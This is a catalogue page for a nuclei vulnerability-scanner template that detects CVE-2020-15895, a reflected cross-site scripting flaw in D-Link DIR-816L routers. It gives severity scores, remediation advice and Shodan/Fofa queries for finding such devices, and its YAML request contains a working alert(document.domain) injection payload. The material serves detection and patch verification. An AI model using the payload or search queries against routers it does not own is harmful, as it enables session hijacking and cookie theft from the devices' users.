CVE-2020-15895: D-Link DIR-816L 2.x - Cross-Site Scripting
- Template: CVE-2020-15895
- Name: D-Link DIR-816L 2.x - Cross-Site Scripting
- Description: D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
- Impact: Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
- Remediation: Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
- Severity: medium
- Authors: edoardottt
- Tags: cve2020, cve, dlink, xss, vuln
- References: https://research.loginsoft.com/bugs/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/, https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169, https://nvd.nist.gov/vuln/detail/CVE-2020-15895, https://github.com/ARPSyndicate/kenzer-templates
- Cves: CVE-2020-15895
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2020/CVE-2020-15895.yaml
- Digest: 4b0a00483046022100c7ddeedca649e9c08022498e75fd54ba030babd971ad7eab4de04ee15c28d29802210088fa943cf7044e64ff64d28532e6f5fbb3a790c6903fd83805508b6da7a6ae0c
- Created at: 2023-02-09T05:26:14Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1384
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15895.yaml
- Checked, none or zero: verified
Classification
- Cwe: CWE-79
- Cvss score: 6.1
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Epss score: 0.02848
- Epss percentile: 0.87051
- Cpe: cpe:2.3:o:dlink:dir-816l_firmware:2.06:*:*:*:*:*:*:*
Metadata
- Fofa-query: body="dir-816l"
- Max-request: 1
- Product: dir-816l_firmware
- Shodan-query: html:"DIR-816L", http.html:"dir-816l"
- Vendor: dlink
Products
| Product | Indexed | Url |
|---|---|---|
| dlink:dir-816l_firmware | yes | /v1/products/dlink/dir-816l_firmware |
Labels
- Name: D-Link DIR-816L - Reflected XSS
- Impact: Attackers can execute scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of the user.
- Remediation: Update to version 1.10b04Beta02 or later.
- Vulnerability type: reflected_xss
- Vulnerability impact: client_script_exec, information_disclosure
- Requirement type: user_interaction
- Requirements: Victim must visit a maliciously crafted webpage
- Labels source: projectdiscovery
- From cve: CVE-2020-15895
```yaml
id: CVE-2020-15895
info:
name: D-Link DIR-816L 2.x - Cross-Site Scripting
author: edoardottt
severity: medium
description: |
D-Link DIR-816L devices 2.x before 1.10b04Beta02 contains a cross-site scripting vulnerability. In the file webinc/js/info.php, no output filtration is applied to the RESULT parameter before being printed on the webpage. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow for theft of cookie-based authentication credentials and launch of other attacks.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
reference:
- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10169
- https://nvd.nist.gov/vuln/detail/CVE-2020-15895
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-15895
cwe-id: CWE-79
epss-score: 0.02848
epss-percentile: 0.87051
cpe: cpe:2.3:o:dlink:dir-816l_firmware:2.06:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: dlink
product: dir-816l_firmware
shodan-query:
- html:"DIR-816L"
- http.html:"dir-816l"
fofa-query: body="dir-816l"
tags: cve2020,cve,dlink,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/info.php?RESULT=\",msgArray);alert(document.domain);//"
matchers-condition: and
matchers:
- type: word
part: body
words:
- ";alert(document.domain);"
- "DIR-816L"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
digest: 4b0a00483046022100c7ddeedca649e9c08022498e75fd54ba030babd971ad7eab4de04ee15c28d29802210088fa943cf7044e64ff64d28532e6f5fbb3a790c6903fd83805508b6da7a6ae0c:922c64590222798bb761d5b6d8e72950
```